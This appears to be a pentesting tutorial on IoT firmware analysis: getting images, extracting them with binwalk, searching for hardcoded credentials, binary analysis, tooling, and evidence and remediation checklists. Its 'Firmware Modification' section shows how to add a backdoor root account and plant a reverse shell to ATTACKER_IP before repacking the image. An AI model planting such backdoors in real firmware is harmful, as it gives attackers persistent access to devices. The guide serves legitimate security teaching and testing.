Firmware Analysis
Firmware analysis is often the most fruitful phase of IoT pentesting. Extracting and analyzing firmware can reveal hardcoded credentials, vulnerable services, encryption keys, and backdoors.
Firmware Analysis Workflow
Scroll sideways to see the whole diagram
Firmware Acquisition
Download Sources
Official Sources
- Manufacturer support pages
- FCC filings (internal docs)
- GPL source code releases
- OTA update servers
Alternative Methods
- UART shell access
- SPI flash extraction
- JTAG memory dump
- Update interception (MITM)
Where the image came from decides how much a finding can claim. A file from a vendor download page describes a release; one captured from an update server describes what this fleet is being served; one dumped from a header on the board describes this unit, and a board pulled from a drawer may be an older build than the one deployed. Hash the image at acquisition and keep the original untouched, so every later step can be replayed against the same bytes.
# Intercept firmware update
# Set device to use your proxy
mitmproxy -p 8080
# Look for update URLs like:
# https://update.vendor.com/fw/device_v1.2.3.bin
# https://s3.amazonaws.com/vendor-ota/firmware.bin
# Download firmware
wget https://vendor.com/support/firmware_v2.0.bin
curl -O https://vendor.com/download/latest.bin
# Check file type
file firmware.bin
binwalk firmware.binFirmware Extraction
Using Binwalk
# Analyze firmware structure
binwalk firmware.bin
# Example output:
# DECIMAL HEXADECIMAL DESCRIPTION
# 0 0x0 uImage header, header size: 64 bytes
# 64 0x40 LZMA compressed data
# 1048576 0x100000 Squashfs filesystem, little endian
# Extract all identified components
binwalk -e firmware.bin
# Extract with Matryoshka (recursive extraction)
binwalk -Me --run-as=root firmware.bin
# Specify output directory
binwalk -e -C output_dir firmware.bin
# Extract specific file system
binwalk --dd='squashfs:squashfs' firmware.bin
unsquashfs squashfs-root
Signature scanning identifies containers, not filesystems you can trust. Each offset is a place a
header matched, and a partial match is common in an image that concatenates a bootloader, a kernel
and two root filesystems. Extraction writes files as the invoking user, so an image whose
ownership records cannot be applied stops part way through; the
--run-as=root
flag runs the external extractors as root instead, which is what lets those records land. Compare
the extracted tree against the offsets before treating a filesystem as complete.
Manual Extraction
# Find magic bytes manually
hexdump -C firmware.bin | head -100
strings firmware.bin | head -50
# Common filesystem signatures:
# hsqs / sqsh - SquashFS
# JFFS2 - JFFS2 filesystem
# UBI# - UBI filesystem
# cramfs - CramFS
# Extract SquashFS manually
# Find offset from binwalk output
dd if=firmware.bin of=squashfs.bin bs=1 skip=1048576
unsquashfs squashfs.bin
# Extract JFFS2
dd if=firmware.bin of=jffs2.bin bs=1 skip=<offset>
jefferson jffs2.bin -d jffs2_extracted
# Mount extracted filesystem
sudo mount -o loop -t squashfs squashfs.bin /mnt/fwManual carving is the fallback when no signature matches, and it is where an offset becomes evidence rather than a working value. The skip, the length and the hash of the result belong in the note: a filesystem read from a guessed offset can still mount and be truncated, so a plausible listing is not proof that the region was complete. The same applies to a chip read taken in circuit, where a bus that other components hold can return a short or corrupted image.
Encrypted/Compressed Firmware
# Check for encryption
binwalk -E firmware.bin # Entropy analysis
# High entropy (>0.9) throughout = likely encrypted
# Common encryption scenarios:
# 1. XOR with static key
# 2. AES with hardcoded key
# 3. Custom encryption algorithm
# Finding encryption keys:
# - Check older firmware versions (may be unencrypted)
# - Analyze mobile app for decryption routines
# - Extract from bootloader
# - JTAG/UART memory dump
# XOR key discovery
xortool firmware.bin
xortool -c 00 firmware.bin # Try null byte as most common char
# Using firmware-mod-kit
./extract-firmware.sh firmware.binEntropy says a region is not plaintext; it does not say it is encrypted. Compressed data is close to uniform as well, so a high-entropy block is a prompt to look for a container header rather than a conclusion. What usually settles it is a version string or a vendor marker that appears in the clear, a key schedule recoverable from the bootloader, or an older release of the same product that shipped without the wrapper.
Chase the key in order of cost: an older unencrypted image, then the mobile app, then the bootloader, then the chip. Each step is more invasive and more likely to leave the device unserviceable, and the first one works often enough that starting with the chip is a waste of a unit. When a key is recovered, the path that reached it belongs in the note — a key lifted from an app is a much weaker access claim than one read from an unlocked flash chip.
Static Analysis
Credential Discovery
# Search for hardcoded credentials
cd squashfs-root
# Password files
cat etc/passwd
cat etc/shadow
strings etc/shadow
# Search for password strings
grep -r "password" .
grep -r "passwd" .
grep -ri "admin" . --include="*.conf"
grep -ri "root:" .
# API keys and tokens
grep -rE "[a-zA-Z0-9]{32,}" .
grep -ri "api_key|apikey|api-key" .
grep -ri "secret|token" .
# SSH keys
find . -name "*.pem" -o -name "id_rsa*" -o -name "authorized_keys"
find . -name "*.key"
# Certificates
find . -name "*.crt" -o -name "*.cer" -o -name "*.p12"
# Database credentials
grep -ri "mysql|postgres|mongo|redis" . --include="*.conf"A password-shaped string is a hypothesis. It can be a placeholder, a test value, a hash, a variable name or a default that the current build ignores, and the entry only becomes a finding when it authenticates against a live service or when the file it sits in is the one the running system actually reads. Hashes are a separate case: a shadow entry is an access path only if the account can log in, and a weak hash is worth reporting with the crack that proves it rather than as a format observation.
Configuration Analysis
# Web server configs
cat etc/lighttpd/lighttpd.conf
cat etc/nginx/nginx.conf
cat etc/httpd.conf
# Network configuration
cat etc/network/interfaces
cat etc/config/network
cat etc/hosts
# Init scripts (often contain credentials)
ls etc/init.d/
cat etc/init.d/*
# Custom application configs
find . -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.json"
# Check for debug modes
grep -ri "debug|verbose|test" . --include="*.conf"
# Look for backdoor accounts
grep -ri "support|service|backdoor|test" etc/passwdConfiguration files describe the surface the release intends to offer: which services start, which network the device expects, whether a debug path is compiled in. A debug flag in a config is not the same thing as a reachable debug interface, so confirm it against the running system before writing it up, and an account in the password file is the same question from the other side — it is an access path only if a service accepts it or the bootloader hands out a shell.
Binary Analysis
# Identify architecture
file usr/bin/httpd
# Output: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1
# Common IoT architectures:
# - MIPS (many routers)
# - ARM (most modern IoT)
# - x86 (some industrial devices)
# Find interesting binaries
find . -executable -type f | head -20
# Strings analysis
strings -n 8 usr/bin/mainapp > strings.txt
strings usr/bin/mainapp | grep -i "password|admin|key"
# Check for known vulnerable functions
grep -l "strcpy|sprintf|gets|system" $(find . -executable -type f)
# Using Ghidra for reverse engineering
ghidraRun # Import binary and analyze
# Using radare2
r2 -A usr/bin/httpd
> afl # List functions
> s main # Seek to main
> pdf # Print disassemblyArchitecture decides which instrument is available: a MIPS or ARM binary needs matching tooling, and the interesting targets are usually the vendor's own daemons rather than busybox. Before spending a disassembler session on one, confirm it starts. A vulnerable binary left in the image but absent from the init scripts and from the process list is a maintenance issue, and reporting it as an exposure is how a firmware report stops being read.
Vulnerability Discovery
Web Interface Analysis
# Find web files
find . -name "*.php" -o -name "*.cgi" -o -name "*.lua" -o -name "*.asp"
# Look for command injection
grep -rn "system|exec|popen|passthru|shell_exec" www/
grep -rn "os.system|subprocess" www/
# Authentication bypass patterns
grep -rn "strcmp|strncmp" www/*.cgi
grep -rn "admin|login|auth" www/
# Analyze CGI binaries
strings www/cgi-bin/admin.cgi | grep -i "password"
# Check for path traversal
grep -rn "../" www/
# Look for hardcoded session tokens
grep -rn "session|cookie|token" www/Known Vulnerable Components
# Check BusyBox version (often outdated)
strings bin/busybox | grep "BusyBox v"
# Check OpenSSL version
strings usr/lib/libssl.so* | grep "OpenSSL"
# Check for known CVEs
# Compare versions against:
# - https://cve.org
# - https://nvd.nist.gov
# Common vulnerable components in IoT:
# - GoAhead web server
# - lighttpd
# - uClibc
# - Dropbear SSH
# - OpenWrt components
# Generate SBOM (Software Bill of Materials)
# List all binaries and libraries
find . -type f -executable -exec file {} ; | grep ELF
find . -name "*.so*" -exec strings {} ; | grep -i "version"
Match the component against the advisory rather than comparing product versions. A backport can
carry a fix under an old version number, and a version bump can ship the same bug back in, which is
why the evidence is the string as it appears in the binary plus the record it matches. The
dictionary is at cve.org;
the older MITRE host no longer serves it.
Firmware Analysis Tools
| Tool | Purpose | Type |
|---|---|---|
| binwalk | Firmware extraction and analysis | Extraction |
| EMBA | Automated firmware security scanner | Scanner |
| Ghidra | Binary reverse engineering (NSA) | RE |
| Firmwalker | Quick filesystem credential search | Scanner |
| Firmadyne | Full firmware emulation | Emulation |
EMBA - Embedded Analyzer
# Clone EMBA
git clone https://github.com/e-m-b-a/emba.git
cd emba
# Install dependencies
./installer.sh
# Run analysis
sudo ./emba.sh -f ~/firmware.bin -l ~/emba_logs
# EMBA checks:
# - Hardcoded passwords
# - Vulnerable binaries
# - Known CVEs
# - Weak configurations
# - Outdated softwareFirmwalker
# Clone firmwalker
git clone https://github.com/craigz28/firmwalker.git
cd firmwalker
# Run against extracted filesystem
./firmwalker.sh /path/to/squashfs-root/
# Searches for:
# - etc/passwd and shadow files
# - SSL certificates and keys
# - Configuration files
# - Scripts containing IPs/URLs
# - Database filesFirmware Emulation
# Using FAT Docker container
docker pull firmadyne/firmadyne
# Or use attify firmware toolkit
# https://github.com/attify/firmware-analysis-toolkit
# For full emulation:
# Firmadyne - https://github.com/firmadyne/firmadyne
# Provides network-capable emulation of firmwareFirmware Emulation
Emulation answers reachability questions and creates traps. Firmadyne and QEMU can bring up a service the shipping firmware never starts, on a network the real device would refuse, so anything found here is a hypothesis until it runs on hardware. What emulation is genuinely good for is the question a live device will not answer: whether a mapped service parses a request the way the binary suggests.
Firmware Modification
# Modify extracted filesystem
cd squashfs-root
# Add backdoor user
echo 'backdoor:$1$xyz$abc123:0:0:root:/root:/bin/sh' >> etc/passwd
# Enable telnet/SSH
# Edit init scripts to start services
# Inject reverse shell
cat > usr/bin/shell.sh << 'EOF'
#!/bin/sh
/bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x usr/bin/shell.sh
# Repack firmware
mksquashfs squashfs-root new_squashfs.bin -comp xz
# Rebuild full firmware image
# (May require header recreation, CRC updates)
# Use firmware-mod-kit for full rebuild
./build-firmware.shLegal Notice
A repack is a test instrument, and a lasting one. Anything added while modifying the image is your change rather than a vendor backdoor, so diff the repacked filesystem against the original before drawing a conclusion from it, and record what was reflashed, the hash of the image left on the device, and how the unit was restored. A device returned to service carrying a test account is a finding you created, which is the one kind a firmware report cannot survive.
Why Firmware Findings Get Disputed
Firmware analysis produces more claims per hour than any other phase and they are the easiest to challenge, because the artefact travels: a client can extract the same image and look. What settles the argument is location — file path, function name or offset for each credential, key and vulnerable binary, never a quoted string on its own — together with the filesystem type and the tool that unpacked it, so the client's extraction and yours agree.
Say how the image was obtained. A support-page download, a captured update request, a dump over UART and a read from the flash chip are four different access levels, and only the last proves that someone with a screwdriver can read the data. The access method therefore belongs in the severity discussion rather than in a method appendix: a finding that needed a socket on the board is a physical-access finding.
Then mark the boundary between image and device. A credential that authenticates on the live service, a service that is listening on the tested segment and a version that matches an advisory are three separate confirmations, and a finding with none of them exists only in the image. That is still worth reporting as the state of the release, but it is a different claim, and the report has to say which one it is making.
Analysis Checklist
Firmware Analysis Steps
- ☐ Extract firmware with binwalk
- ☐ Identify filesystem type and architecture
- ☐ Search for hardcoded credentials
- ☐ Analyze /etc/passwd and /etc/shadow
- ☐ Find SSL certificates and private keys
- ☐ Check configuration files for secrets
- ☐ Identify web application vulnerabilities
- ☐ Check for command injection in CGI/scripts
- ☐ List all services and their versions
- ☐ Search for known CVEs in components
- ☐ Analyze custom binaries with Ghidra/r2
- ☐ Test for unsigned update vulnerabilities
Firmware Analysis Labs
Practice firmware extraction and reverse engineering.
Evidence Collection
Firmware identity: Version string, build date and image hash, with the source: vendor download, OTA capture, UART dump or SPI read.
Extraction path: Filesystem type, offset, and the tool and version that unpacked it.
Access method: How the image was obtained and what physical or network access that required.
Finding location: File path, function name or offset for each credential, key or vulnerable binary.
Reachability: Whether the service or credential was confirmed on a live device, or exists only in the image.
Modification record: Anything repacked or reflashed, the resulting hash, and how the device was restored.
False Positives
- String, not a credential: A password-shaped string needs the live service or the file the system reads.
- Binary that never starts: Absent from init and the process list, it is maintenance, not exposure.
- Emulation artefact: Firmadyne can start a service the device never exposes.
- Version string without an advisory match: Compare the component against the record, not the product version.
- Your own repack: Diff against the original before calling anything a vendor backdoor.
Verification Checklist
Identity
- ☐ Hash the image at acquisition and keep the original untouched.
- ☐ Record the source URL or the capture interface, with the timestamp.
- ☐ Confirm the image matches the firmware version the device reports.
Contents
- ☐ Record file paths and offsets for every credential, key, and certificate.
- ☐ Check whether each finding is reachable from a service that actually starts.
- ☐ Compare against the previous firmware version to see what changed.
Reachability
- ☐ Try the credential against the live device, within the agreed lockout limits.
- ☐ Confirm the service is listening and reachable from the tested segment.
- ☐ State clearly when a finding is image-only.
Remediation
Firmware
- • Sign updates and verify them on the device, reject downgrades, and keep debug interfaces and test binaries out of release images.
- • Replace shared and default credentials with a unique per-device secret provisioned at manufacture or first boot.
Device
- • Enable secure boot and debug lock bits, and encrypt any stored key material rather than shipping it in the filesystem.
Verification schedule
- • Hash and archive every image you analyse, and re-check the findings against each vendor release rather than once per engagement.